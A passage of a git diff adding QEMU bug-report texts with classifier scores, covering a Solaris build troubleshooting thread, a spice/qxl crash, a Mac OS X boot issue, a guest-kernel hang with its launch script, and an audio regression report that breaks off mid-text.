"libgcrypt-config --cflags". If that doesn't happen, then the gcrypt installation is broken. + + +Ah, I see: + +"in a future QEMU release we may drop support for those hosts unless somebody volunteers to help us with maintaining them (and can provide build/CI machines)." + +OK, so I happily volunteer an account on my machine to help maintain this. + +"What's the content of the $solaris variable at that point in time?" + +How do I tell that? + +$solaris seems to be set in a line earlier on: + +case $targetos in +... +SunOS) + solaris="yes" + +and targetos is set before that by + +elif check_define __sun__ ; then + targetos='SunOS' + +but I don't know what "check_define __sun__" is. I am not a good Makefile reader. + +"The libgcrypt-config command should be in $PATH" + +I'm sorry - I don't understand. Isn't $PATH a list of directories? I need to put a command in there? I'm clearly missing something here. + +Can you simply put a + + echo XXXX $solaris XXXX + +right before the "if test "$darwin" != "yes" -a "$mingw32" != "yes" -a "$solaris" != yes -a" line in the configure script, and then run configure again? You then should see the contents of the $solaris variable. + +And what do you get if you run + + libgcrypt-config --cflags + +and + + libgcrypt-config --libs + +in your shell? + +"echo XXXX $solaris XXXX" + +That gives: + +# /usr/xpg4/bin/sh ../configure --extra-cflags="-m32" --target-list=x86_64-softmmu +XXXX yes XXXX +Install prefix /usr/local +BIOS directory /usr/local/share/qemu +firmware path /usr/local/share/qemu-firmware +binary directory /usr/local/bin +library directory /usr/local/lib +module directory /usr/local/lib/qemu +libexec directory /usr/local/libexec +include directory /usr/local/include +config directory /usr/local/etc +local state directory /usr/local/var +Manual directory /usr/local/share/man +ELF interp prefix /usr/gnemul/qemu-%M +... + +Then: + +# libgcrypt-config --cflags +-I/opt/csw/include +# libgcrypt-config --libs +-L/opt/csw/lib -lgcrypt -lgpg-error +# echo $SHELL +/bin/bash +# bash --version +GNU bash, version 4.3.33(1)-release (sparc-sun-solaris2.10) +Copyright (C) 2013 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> +# + +Anyone? My offer of free use of my machine to support Qemu on Solaris still stands. Perhaps I'm asking in the wrong place? + +For providing a Solaris build machine, you best get in touch with Peter Maydell (see MAINTAINERS file for his mail address). + +Now for your build problems, it seems like "libgcrypt-config --cflags" already should add /opt/csw/include to the list of header search paths, so I wonder why the "#include <gcrypt.h>" does not pick up that file yet and you had to add "#include </opt/csw/include/gcrypt.h>" instead? Is there maybe another gcrypt.h file somewhere else on your system which conflicts with the one from /opt/csw/include ? + +Concerning the "-lutil" problem - no clue where this is coming from. Could you maybe try to compile with "gmake V=1" and post the line where the executable is linked? Maybe that gives some more indication what is going on here... + + + +On 08-13-2018 4:14 AM, Thomas Huth wrote: +> For providing a Solaris build machine, you best get in touch with Peter +> Maydell (see MAINTAINERS file for his mail address). +I notice he already checked in later in my inbox. I'll reply to that there. +> +> Now for your build problems, it seems like "libgcrypt-config --cflags" +> already should add /opt/csw/include to the list of header search paths, +> so I wonder why the "#include <gcrypt.h>" does not pick up that file yet +> and you had to add "#include </opt/csw/include/gcrypt.h>" instead? Is +> there maybe another gcrypt.h file somewhere else on your system which +> conflicts with the one from /opt/csw/include ? +Well this is odd but I was poking around trying to resolve a bunch of +syntax errors in the Makefiles. This is usually the result of a wrong +sh being called. I've had some luck in the past building other things +by adding a line "!#/usr/xpg4/bin/sh" at the top of the sh file but that +trick did not work for qemu. So I finally took the default sh, which is +/usr/bin/sh (which is a link to /sbin/sh) and instead linked it directly +to /usr/xpg4/bin/sh. That immediately took care of all the syntax +errors and the gcrypt error too. I don't know why qemu is picky about +POSIX, but there you have it. +> +> Concerning the "-lutil" problem - no clue where this is coming from. +> Could you maybe try to compile with "gmake V=1" and post the line where +> the executable is linked? Maybe that gives some more indication what is +> going on here... +This will probably make you cringe, but what I ended up doing was simply +copying some random .so file in /opt/csw/lib and calling it libutil.so. +The linker then seemed happy and that error went away. I figure that if +someone is actually using lutil I will get a runtime error, once I get +it running, if I ever get it running. Then I'll be able to tell who is +calling it and what they're trying to do. It may be that no one is +using it. I saw some post on the web to the effect that lutil should +just be commented out in Solaris. I was unable to figure out from the +linker error the source of lutil. + +I now have a new problem: dtc/checks.c won't compile because it can't +find strnlen. So I put in #include <string.h>. Still wouldn't +compile. So I looked in /usr/include/string.h and sure enough, strnlen +is missing. I'm like, what the heck? So I ended up providing the +source code of strnlen at the top of checks.c. This was also a problem +in fdt_ro.c. It's that sort of thing. Now it's compiling again. I +configured without any target options, so it's making everything. And I +forgot to give gmake a -j so it's taking a while. + + - Michele + + + +Well my gmake finally went all the way to the end building all of the +guest architectures but I didn't see a qemu executable (unless it isn't +called qemu). I ran gmake again to see what happened and all I got was +this: + +# gmake +mkdir -p dtc/libfdt +mkdir -p dtc/tests +Bad string +# + +I then ran gmake V=1. That didn't really help:: + + +(cd /export/home/denber/qemu-2.12.0; if test -n ""; then pkgvers=""; +else if test -d .git; then pkgvers=$(git describe --match 'v*' +2>/dev/null | tr -d '\n'); if ! git diff-index --quiet HEAD &>/dev/null; +then pkgvers="${pkgvers}-dirty"; fi; fi; fi; printf "#define +QEMU_PKGVERSION \"${pkgvers}\"\n"; if test -n "${pkgvers}"; then printf +'#define QEMU_FULL_VERSION QEMU_VERSION " (" QEMU_PKGVERSION ")"\n'; +else printf '#define QEMU_FULL_VERSION QEMU_VERSION\n'; fi; ) > +qemu-version.h.tmp +if ! cmp -s qemu-version.h qemu-version.h.tmp; then mv +qemu-version.h.tmp qemu-version.h; else rm qemu-version.h.tmp; fi +mkdir -p dtc/libfdt +mkdir -p dtc/tests +gmake -I/export/home/denber/qemu-2.12.0/dtc +VPATH=/export/home/denber/qemu-2.12.0/dtc -C dtc V="1" +LIBFDT_srcdir=/export/home/denber/qemu-2.12.0/dtc/libfdt +CPPFLAGS="-I/export/home/denber/qemu-2.12.0/build/dtc +-I/export/home/denber/qemu-2.12.0/dtc +-I/export/home/denber/qemu-2.12.0/dtc/libfdt" CFLAGS="-O2 +-U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -g -I/opt/csw/include/pixman-1 +-I/export/home/denber/qemu-2.12.0/dtc/libfdt -D_REENTRANT -D_PTHREADS +-I/opt/csw/include/glib-2.0 -I/opt/csw/lib/glib-2.0/include -m32 +-mv8plus -mcpu=ultrasparc -std=gnu99 -D__EXTENSIONS__ +-D_XOPEN_SOURCE=600 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 +-D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef +-Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common +-fwrapv -Wexpansion-to-defined -Wendif-labels -Wno-shift-negative-value +-Wno-missing-include-dirs -Wempty-body -Wnested-externs +-Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers +-Wold-style-declaration -Wold-style-definition -Wtype-limits +-fstack-protector-strong -I/opt/csw/include -I/usr/include/libpng12 +-I/export/home/denber/qemu-2.12.0/capstone/include +-I/export/home/denber/qemu-2.12.0/tests" LDFLAGS="-m32 -mv8plus -g " +ARFLAGS="rv" CC="gcc" AR="ar" LD="ld" +BUILD_DIR=/export/home/denber/qemu-2.12.0/build libfdt/libfdt.a +gmake[1]: Entering directory '/export/home/denber/qemu-2.12.0/build/dtc' +Bad string +gmake[1]: 'libfdt/libfdt.a' is up to date. +gmake[1]: Leaving directory '/export/home/denber/qemu-2.12.0/build/dtc' +... + +It doesn't say "Error: Bad string", it just says "Bad string". Is that +even an error? A web search for this turned up nothing and the string +"Bad string" does not seem to appear in the entire qemu directory. I'm +not sure what's going on now. There seems to be something in the dtc +subdirectory it doesn't like. + + - Michele + + + +On 13 August 2018 at 19:58, Michele Denber <email address hidden> wrote: +> I don't know why qemu is picky about +> POSIX, but there you have it. + +We do assume a posix shell and that that shell is /bin/sh. +We may have bugs where we assume non-posix behaviour +from it, since almost all users are going to be on systems +where /bin/sh is bash or dash or whatever the BSD /bin/sh is. + +(dtc is a sort-of-third-party module, not part of QEMU +proper.) + +thanks +-- PMM + + +On 08-14-2018 4:42 AM, Peter Maydell wrote: +> +> We do assume a posix shell and that that shell is /bin/sh. +> We may have bugs where we assume non-posix behaviour +> from it, since almost all users are going to be on systems +> where /bin/sh is bash or dash or whatever the BSD /bin/sh is. +Apparently Solaris is different in that regard (among others). +> +> (dtc is a sort-of-third-party module, not part of QEMU +> proper.) +I notice in the Makefile in dtc/ that it's calling python. My default +python is 2.6.9. I found some discussion about qemu moving to python +3. Could this be the problem? Or is this dtc stuff really necessary? +Is there some way to comment it out just to see what happens? I didn't +see any mention of it in the configure help. + +I feel like I'm getting pretty close to success here. + + - Michele + + + +> I notice in the Makefile in dtc/ that it's calling python. My default +> python is 2.6.9. I found some discussion about qemu moving to python +> 3. Could this be the problem? + +We require either Python 2.7.x, or Python 3.x versions. Support for 2.6.x was dropped I'm afraid. + +On 14 August 2018 at 18:44, Michele Denber <email address hidden> wrote: +> On 08-14-2018 4:42 AM, Peter Maydell wrote: +>> +>> We do assume a posix shell and that that shell is /bin/sh. +>> We may have bugs where we assume non-posix behaviour +>> from it, since almost all users are going to be on systems +>> where /bin/sh is bash or dash or whatever the BSD /bin/sh is. +> Apparently Solaris is different in that regard (among others). + +Yeah. I'm not sure how much I care about supporting OSes that +decide to be totally different from everybody else, to be honest. +It's the 21st century and POSIX is a thing. + +>> (dtc is a sort-of-third-party module, not part of QEMU +>> proper.) +> I notice in the Makefile in dtc/ that it's calling python. My default +> python is 2.6.9. + +Our Python requirement is 2.7, and configure should check that. +If you're telling configure --python=/some/nondefault/python +then I guess the problem is we're not passing that on to dtc's +build process. + +> Or is this dtc stuff really necessary? + +It is necessary, but only for certain guest CPU types. You can +disable it by passing configure both "--disable-fdt" and also +"--target-list=<some list of targets which doesn't include +any arm, ppc, mips, microblaze or riscv targets>" +(for instance "--target-list=x86_64-softmmu".) + +thanks +-- PMM + + +On 08-14-2018 2:17 PM, Peter Maydell wrote: +> +> dtc stuff really necessary? +> It is necessary, but only for certain guest CPU types. You can +> disable it by passing configure both "--disable-fdt" and also +> "--target-list=<some list of targets which doesn't include +> any arm, ppc, mips, microblaze or riscv targets>" +> (for instance "--target-list=x86_64-softmmu".) +Thanks. Turns out I found where "Bad string" was coming from - there's +a call to "uname -s | tr" in dtc/Makefile and that is known not to work +in Solaris 10.. So I just replaced that with "HOSTOS=SunOS" and that +took care of that. dtc compiled just fine. + +Now I'm getting a "ld: fatal: unrecognized option '--'" linking libfdt +so I'm going to try a different linker. + +Onward :-) + + - Michele + + + + + +> +> +> > I notice in the Makefile in dtc/ that it's calling python. My default +> > python is 2.6.9. I found some discussion about qemu moving to python +> > 3. Could this be the problem? +> +> We require either Python 2.7.x, or Python 3.x versions. Support for +> 2.6.x was dropped I'm afraid. +> +> +Thanks. I upgraded to python 3.3 though that turned out not to be the +problem. I documented the solution here: + +https://bugs.launchpad.net/qemu/+bug/1787012 + + - Michele + + + +Here's a mystery. It looks like I finally have a clean compile - there +are no error messages but I don't see an executable. Is there supposed +to be something called "qemu" somewhere now? I looked in build/, the +top level, and /usr/local/bin/. + +# gmake V=1 +(cd /export/home/denber/qemu-2.12.0; if test -n ""; then pkgvers=""; +else if test -d .git; then pkgvers=$(git describe --match 'v*' +2>/dev/null | tr -d '\n'); if ! git diff-index --quiet HEAD &>/dev/null; +then pkgvers="${pkgvers}-dirty"; fi; fi; fi; printf "#define +QEMU_PKGVERSION \"${pkgvers}\"\n"; if test -n "${pkgvers}"; then printf +'#define QEMU_FULL_VERSION QEMU_VERSION " (" QEMU_PKGVERSION ")"\n'; +else printf '#define QEMU_FULL_VERSION QEMU_VERSION\n'; fi; ) > +qemu-version.h.tmp +if ! cmp -s qemu-version.h qemu-version.h.tmp; then mv +qemu-version.h.tmp qemu-version.h; else rm qemu-version.h.tmp; fi +mkdir -p dtc/libfdt +mkdir -p dtc/tests +gmake -I/export/home/denber/qemu-2.12.0/dtc +VPATH=/export/home/denber/qemu-2.12.0/dtc -C dtc V="1" +LIBFDT_srcdir=/export/home/denber/qemu-2.12.0/dtc/libfdt +CPPFLAGS="-I/export/home/denber/qemu-2.12.0/build/dtc +-I/export/home/denber/qemu-2.12.0/dtc +-I/export/home/denber/qemu-2.12.0/dtc/libfdt" CFLAGS="-O2 +-U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -g -I/opt/csw/include/pixman-1 +-I/export/home/denber/qemu-2.12.0/dtc/libfdt -D_REENTRANT -D_PTHREADS +-I/opt/csw/include/glib-2.0 -I/opt/csw/lib/glib-2.0/include -m32 +-mv8plus -mcpu=ultrasparc -std=gnu99 -D__EXTENSIONS__ +-D_XOPEN_SOURCE=600 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 +-D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef +-Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common +-fwrapv -Wexpansion-to-defined -Wendif-labels -Wno-shift-negative-value +-Wno-missing-include-dirs -Wempty-body -Wnested-externs +-Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers +-Wold-style-declaration -Wold-style-definition -Wtype-limits +-fstack-protector-strong -I/opt/csw/include -I/usr/include/libpng12 +-I/export/home/denber/qemu-2.12.0/capstone/include +-I/export/home/denber/qemu-2.12.0/tests" LDFLAGS="-m32 -mv8plus -g " +ARFLAGS="rv" CC="gcc" AR="ar" LD="ld" +BUILD_DIR=/export/home/denber/qemu-2.12.0/build libfdt/libfdt.a +gmake[1]: Entering directory '/export/home/denber/qemu-2.12.0/build/dtc' +gmake[1]: 'libfdt/libfdt.a' is up to date. +gmake[1]: Leaving directory '/export/home/denber/qemu-2.12.0/build/dtc' +gmake -C /export/home/denber/qemu-2.12.0/capstone CAPSTONE_SHARED=no +BUILDDIR="/export/home/denber/qemu-2.12.0/build/capstone" CC="gcc" +AR="ar" LD="ld" RANLIB="ranlib" CFLAGS="-O2 -U_FORTIFY_SOURCE +-D_FORTIFY_SOURCE=2 -g -I/opt/csw/include/pixman-1 +-I/export/home/denber/qemu-2.12.0/dtc/libfdt -D_REENTRANT -D_PTHREADS +-I/opt/csw/include/glib-2.0 -I/opt/csw/lib/glib-2.0/include -m32 +-mv8plus -mcpu=ultrasparc -std=gnu99 -D__EXTENSIONS__ +-D_XOPEN_SOURCE=600 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 +-D_LARGEFILE_SOURCE -fno-strict-aliasing -fno-common -fwrapv +-fstack-protector-strong -I/opt/csw/include -I/usr/include/libpng12 +-I/export/home/denber/qemu-2.12.0/capstone/include +-I/export/home/denber/qemu-2.12.0/tests -DCAPSTONE_USE_SYS_DYN_MEM +-DCAPSTONE_HAS_ARM -DCAPSTONE_HAS_ARM64 -DCAPSTONE_HAS_POWERPC +-DCAPSTONE_HAS_X86" BUILD_DIR=/export/home/denber/qemu-2.12.0/build +/export/home/denber/qemu-2.12.0/build/capstone/libcapstone.a +gmake[1]: Entering directory '/export/home/denber/qemu-2.12.0/capstone' +gmake[1]: '/export/home/denber/qemu-2.12.0/build/capstone/libcapstone.a' +is up to date. +gmake[1]: Leaving directory '/export/home/denber/qemu-2.12.0/capstone' +gmake BUILD_DIR=/export/home/denber/qemu-2.12.0/build -C x86_64-softmmu +V="1" TARGET_DIR="x86_64-softmmu/" all +gmake[1]: Entering directory +'/export/home/denber/qemu-2.12.0/build/x86_64-softmmu' +gmake[1]: Leaving directory +'/export/home/denber/qemu-2.12.0/build/x86_64-softmmu' +# + +I even did a gmake clean and then gmake again. No change - no errors +and no executable. ??? + + - Michele + + + + +The executables are created in the subdirectories for each target, so x86_64-softmmu/qemu-system-x86_64 and so on. + + +On 08-15-2018 6:50 AM, Peter Maydell wrote: +> The executables are created in the subdirectories for each target, so +> x86_64-softmmu/qemu-system-x86_64 and so on. +> +Oh duh! :-) I'm really glad I asked. I've been trying to figure out +why there was no executable and no errors. Sure enough, I found +qemu-system-x86_64 right there in the x86_64-softmmu directory. I ran +that and it started right up. I guess I was thinking more along the +lines of VirtualBox where you start one program and choose a VM from +there. Thanks! + + - Michele + + + +libutil should not be linked on Solaris, see https://bugs.launchpad.net/qemu/+bug/1777252 + +Right, we've got a separate bug for libutil already, and as far as I can see, all the other problems here were due to using the non-POSIX compliant shell etc., so let's close this bug here and track the libutil problem in the other bug. + +Indeed. Almost all of the problems I was having were due to an incomplete understanding on my part of the way Solaris handles POSIX. Once I figured that out, everything quickly fell into place. + diff --git a/results/classifier/108/graphic/1787 b/results/classifier/108/graphic/1787 new file mode 100644 index 000000000..00f8bdc31 --- /dev/null +++ b/results/classifier/108/graphic/1787 @@ -0,0 +1,28 @@ +graphic: 0.973 +device: 0.847 +other: 0.768 +semantic: 0.737 +debug: 0.681 +performance: 0.661 +PID: 0.566 +files: 0.565 +network: 0.540 +vnc: 0.529 +permissions: 0.435 +KVM: 0.422 +socket: 0.414 +boot: 0.369 + +Qemu asan test make vm crash when using qxl and spice +Description of problem: +When I tested QEMU with asan, the vm crash. The error message is as follows： + +Steps to reproduce: +1.Start the vm with qxl and spice. +2.Attach the vm with vnc and spice. +3.Placed for more than three days. +4.Operation on spice client and possible reproduce this bug. +Additional information: +https://github.com/qemu/qemu/blob/44f28df24767cf9dca1ddc9b23157737c4cbb645/ui/cursor.c#L112 +I think the reason for the problem is that the cursor pointer was not set to NULL when qemu call cursor_put. But I don't know what situation will trigger this error. +This error is difficult to reproduce by natural. diff --git a/results/classifier/108/graphic/1794202 b/results/classifier/108/graphic/1794202 new file mode 100644 index 000000000..fb5bbda73 --- /dev/null +++ b/results/classifier/108/graphic/1794202 @@ -0,0 +1,23 @@ +graphic: 0.952 +boot: 0.901 +device: 0.883 +network: 0.766 +semantic: 0.720 +files: 0.674 +socket: 0.658 +vnc: 0.633 +performance: 0.610 +other: 0.589 +PID: 0.463 +debug: 0.332 +permissions: 0.249 +KVM: 0.229 + +Trying to install Mac OS X 10.5, it gives this error, "Mac OS X cannot be installed on your computer." + +When I try to install Mac OS X 10.5, it gives this error, "Mac OS X cannot be installed on your computer." Command ran in the command-line: "C:\Program Files\qemu\qemu-system-ppc" -L pc-bios -boot d -M mac99,via=pmu -m 512 -hda "C:\Users\*****\Downloads\macosx105\MacOSHDD.qcow2" -cdrom "C:\Users\*****\Downloads\macosx105\osx leopard install.iso" -netdev user,id=mynet0 -device sungem,netdev=mynet0 + + + +Fixed issue by switching boot from d to c. I found the solution by just seeing if it would work, and it does. + diff --git a/results/classifier/108/graphic/1794950 b/results/classifier/108/graphic/1794950 new file mode 100644 index 000000000..13bf32fae --- /dev/null +++ b/results/classifier/108/graphic/1794950 @@ -0,0 +1,104 @@ +graphic: 0.930 +performance: 0.923 +other: 0.923 +permissions: 0.908 +boot: 0.893 +debug: 0.867 +semantic: 0.863 +network: 0.863 +vnc: 0.860 +KVM: 0.854 +files: 0.852 +socket: 0.843 +device: 0.810 +PID: 0.799 + +qemu hangs when guest is using linux kernel 4.16+ + +I have been using qemu on daily basis 5+ years in order to do btrfs development and testing and it always worked perfectly, until I upgraded the linux kernel of the guests to 4.16. With 4.16+ kernels, when running all the fstests (previously called xfstests), the qemu process hangs (console unresponsive, can't ping or ssh the guest anymore, etc) and stays in a state Sl+ according to 'ps'. + +This happens on two different physical machines, one running openSUSE tumbleweed (which I don't access at the moment to check kernel version) and another running xubuntu (tried kernels 4.15.0-32-generic and vanilla 4.18.0). Using any kernel from 4.16 to 4.19-rc5 in the guests (they use different debian versions) makes qemu hang running the fstests suite (after about 30 to 40 minutes, either at test generic/299 or test generic/451). + +I tried different qemu versions, 2.11.2, 2.12.1 and 3.0.0, and it happens with all of them (all built from the sources available at https://www.qemu.org/download/#source). + +I built 3.0.0 with debug enabled, using the following parameters for 'configure': + +--prefix=/home/fdmanana/qemu-3.0.0 --enable-tools --enable-linux-aio --enable-kvm --enable-vnc --enable-vnc-png --enable-debug --extra-cflags="-O0 -g3 -fno-omit-frame-pointer" + +And captured a coredump of the qemu process, available at: + +https://www.dropbox.com/s/d1tlsimahykwhla/core_dump_debug.tar.xz?dl=0 + +the stack traces of all threads, for a quick look: + +https://friendpaste.com/zqkz2pD0WgSdeSKITHPDf + +qemu is being invoked with the following script: + +#!/bin/bash -x + +sudo modprobe tun +sudo modprobe kvm +sudo modprobe kvm-intel + +sudo tunctl -t tap5 -u fdmanana +sudo ifconfig tap5 up +sudo brctl addif br0 tap5 + +sudo umount /mnt/tmp5 +sudo mkdir -p /mnt/tmp5 +sudo mount -t tmpfs -o size=14G tmpfs /mnt/tmp5 +for ((i = 2; i <= 7; i++)); do + sudo qemu-img create -f qcow2 /mnt/tmp5/disk$i 13G +done +sudo chown fdmanana /mnt/tmp5/disk* + +qemu-system-x86_64 -m 4G \ + -device virtio-scsi-pci \ + -boot c \ +\ + -drive if=none,file=debian5.qcow2,cache=none,aio=native,cache.direct=on,format=qcow2,id=drive0,discard=on \ + -device scsi-hd,drive=drive0,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk2,cache=writeback,format=qcow2,id=drive1,discard=on \ + -device scsi-hd,drive=drive1,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk3,cache=writeback,format=qcow2,id=drive2,discard=on \ + -device scsi-hd,drive=drive2,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk4,cache=writeback,format=qcow2,id=drive3,discard=on \ + -device scsi-hd,drive=drive3,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk5,cache=writeback,format=qcow2,id=drive4,discard=on \ + -device scsi-hd,drive=drive4,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk6,cache=writeback,format=qcow2,id=drive5,discard=on \ + -device scsi-hd,drive=drive5,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk7,cache=writeback,format=qcow2,id=drive6,discard=on \ + -device scsi-hd,drive=drive6,bus=scsi.0 \ +\ + -drive if=none,file=disk8,cache=writeback,aio=native,cache.direct=on,format=qcow2,id=drive7,discard=on \ + -device scsi-hd,drive=drive7,bus=scsi.0 \ +\ + -drive if=none,file=disk9,cache=writeback,aio=native,cache.direct=on,format=qcow2,id=drive8,discard=on \ + -device scsi-hd,drive=drive8,bus=scsi.0 \ +\ + -drive if=none,file=disk10,cache=writeback,aio=native,cache.direct=on,format=qcow2,id=drive9,discard=on \ + -device scsi-hd,drive=drive9,bus=scsi.0 \ +\ + -net nic,macaddr=52:54:00:12:34:fa -net tap,ifname=tap5,script=no,downscript=no \ + -rtc base=localtime -enable-kvm -machine accel=kvm -smp 4 -cpu host \ + -k pt -serial tcp:127.0.0.1:9997 -display vnc=:5 + + + +Is there anything else I can provided to help debug this? + +Thanks. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1795527 b/results/classifier/108/graphic/1795527 new file mode 100644 index 000000000..290852563 --- /dev/null +++ b/results/classifier/108/graphic/1795527 @@ -0,0 +1,280 @@ +graphic: 0.969 +performance: 0.943 +debug: 0.942 +other: 0.942 +KVM: 0.934 +vnc: 0.933 +device: 0.932 +semantic: 0.931 +network: 0.921 +socket: 0.920 +permissions: 0.917 +PID: 0.870 +boot: 0.870 +files: 0.828 + +Malformed audio and video output stuttering after upgrade to QEMU 3.0 + +My host is an x86_64 Arch Linux OS with a recompiled 4.18.10 hardened kernel, running a few KVM guests with varying OSes and configurations managed through a Libvirt stack. + +Among these guests I have two Windows 10 VMs with VGA passthrough and PulseAudio-backed virtual audio devices. + +After upgrading to QEMU 3.0.0, both of the Win10 guests started showing corrupted audio output in the form of unnatural reproduction speed and occasional but consistently misplaced audio fragments originating from what seems to be a circular buffer wrapping over itself (misbehaviour detected by starting some games with known OSTs and dialogues: soundtracks sound accelerated and past dialogue lines start replaying middle-sentence until the next line starts playing). + +In addition, the video output of the malfunctioning VMs regularly stutters roughly twice a second for a fraction of a second (sync'ed with the suspected buffer wrapping and especially pronounced during not-pre-rendered cutscenes), toghether with mouse freezes that look like actual input misses more than simple lack of screen refreshes. + + +The issue was succesfully reproduced without the managing stack, directly with the following command line, on the most capable Windows guest: + + QEMU_AUDIO_DRV=pa + QEMU_PA_SERVER=127.0.0.1 + /usr/bin/qemu-system-x86_64 -name guest=win10_gms,debug-threads=on \ + -machine pc-i440fx-3.0,accel=kvm,usb=off,vmport=off,dump-guest-core=off \ + -cpu host,hv_time,hv_relaxed,hv_vapic,hv_spinlocks=0x1fff,hv_vendor_id=123456789abc,kvm=off \ + -drive file=/usr/share/ovmf/x64/OVMF_CODE.fd,if=pflash,format=raw,unit=0,readonly=on \ + -drive file=/var/lib/libvirt/qemu/nvram/win10_gms_VARS.fd,if=pflash,format=raw,unit=1 \ + -m 5120 \ + -realtime mlock=off \ + -smp 3,sockets=1,cores=3,threads=1 \ + -uuid 39b56ee2-6bae-4009-9108-7be26d5d63ac \ + -display none \ + -no-user-config \ + -nodefaults \ + -rtc base=localtime,driftfix=slew \ + -global kvm-pit.lost_tick_policy=delay \ + -no-hpet \ + -no-shutdown \ + -global PIIX4_PM.disable_s3=1 \ + -global PIIX4_PM.disable_s4=1 \ + -boot strict=on \ + -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x4.0x7 \ + -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x4 \ + -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x4.0x1 \ + -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x4.0x2 \ + -device ahci,id=sata0,bus=pci.0,addr=0x9 \ + -drive file=/dev/vms/win10_gaming,format=raw,if=none,id=drive-virtio-disk0,cache=none,aio=native \ + -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x5,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1,write-cache=on \ + -drive file=/dev/sr0,format=raw,if=none,id=drive-sata0-0-0,media=cdrom,readonly=on \ + -device ide-cd,bus=sata0.0,drive=drive-sata0-0-0,id=sata0-0-0 \ + -device intel-hda,id=sound0,bus=pci.0,addr=0x3 \ + -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 \ + -device usb-host,hostbus=2,hostaddr=3,id=hostdev0,bus=usb.0,port=1 \ + -device vfio-pci,host=01:00.0,id=hostdev1,bus=pci.0,addr=0x6 \ + -device vfio-pci,host=01:00.1,id=hostdev2,bus=pci.0,addr=0x7 \ + -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x8 \ + -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny \ + -msg timestamp=on + + +By "purposedly misconfiguring" the codepaths and replacing "pc-i440fx-3.0" with "pc-i440fx-2.11" (basically reverting the config changes I needed to do in order to update the domain definitions), the stuttering seems to disappear (or at least becomes negligible) and the audio output, despite becoming incredibly distorted, is consistent in every other way, with in-order dialogues and (perceived) correct tempo. + + +In order to exclude eventual misconfigurations in the host's audio processing pipeline, I proceeded to update the domain definition's codepath of another guest running Ubuntu 18.04 with a completely different hardware configuration (no video card passthrough and no PulseAudio backconnection, just a plain emulated VirtIO display and Spice audio device). + +The audio issue presented itself again in the form of slightly sped up audio playback from Internet videos interleaved with occasional "quenches" of playing speed. +Stutters are difficult to detect because of the poor refresh rate of the emulated VGA adapter, but I wouldn't be surprised to find them here too (actually, I *think* I sensed them, but I'm not sure enough to assess their existence). + +Once again, by reverting to the old 2.11 directive everything is back to normal. + + + +Given the fact that no official upgrade directives regarding required sampling rate, period or sheduling adjustments were stated or handed-out to administrators, I decided to report this behaviour as a bug. +I hope this is the appropriate channel and that I didn't annoy anyone (this is my first proper bug report, please forgive me for any innaccuracy). + +Hi, + Hmm - if you say that changing hte -achine back to pc-i440fx-2.11 is helping then it should be something related to one of the compatibility entries for the machine type; but I don't see anything obvious related to audio or timing. +To narrow it down a little, is pc-i440fx-2.12 good or bad? + +Sorry for the late response. + +By switching to 2.12 no noticeable change happens in respect to the 2.11 machine type: distorted audio but correct timing and no overlapping. + + +By the way, the stuttering looks less consistent than I previously thought: today it appears even with the 2.11 setting, but it DOES NOT appear on the other Windows VM, even if that machine has less allocated resources and runs with the i440fx-3.0 (same audio issues are still there, tho). + +Looks like it varies both with guest's and host's loads. Maybe it showed after the update because of new CPU bug mitigations being introduced in the kernel (the update to QEMU was carried out during a full system upgrade; you know, rolling release OSes...), or maybe they are due to differences in pagefault occurrencies (now I'm running on a freshly-booted system, last time it was something like 34 days in uptime; and this is strange on its own accord). + +Therefore I think the stuttering problem requires a little bit more investigation on my side and might be an entirely different problem, although the nearly perfect sync between stutters and audio overlaps seems suspicious. + +Update: + +Rolled back from 3.0.0-2 to 2.12.1-1: audio output working correctly, stuttering still present. +Rolled back from 2.12.1-1 to 2.11.1-2: audio output working correctly, stuttering still present. + +So, the audio issues definitely surfaced with QEMU 3.0.0, but the constant ~0.5s interval stuttering looks like something more indepth. + +This evening I'll try rolling back on each revision of 2.11 to see if stutters are QEMU-related or not. If that doesn't give any hint, then I'm going to start fiddling with the kernel configuration in order to uncover any possible interference between guest emulation and host CPU scheduling (probably gonna crank-up the timer frequency, in case that helps). + +UPDATE 2 (STUTTERING ELIMINATED, AUDIO ISSUES _STILL_ PRESENT) + +I think I've tracked down the source of the stuttering that affected my machine, and it doesn't seem to be QEMU-related. +I'm going to write something about it here anyway, waiting to report it to other, more appropriate channels, hoping that it could help someone else out there. + + +QUICK FIX: +toggle the `kvm=off` flag off, perform a boot/shutdown cycle, toggle it back on, boot again. + + 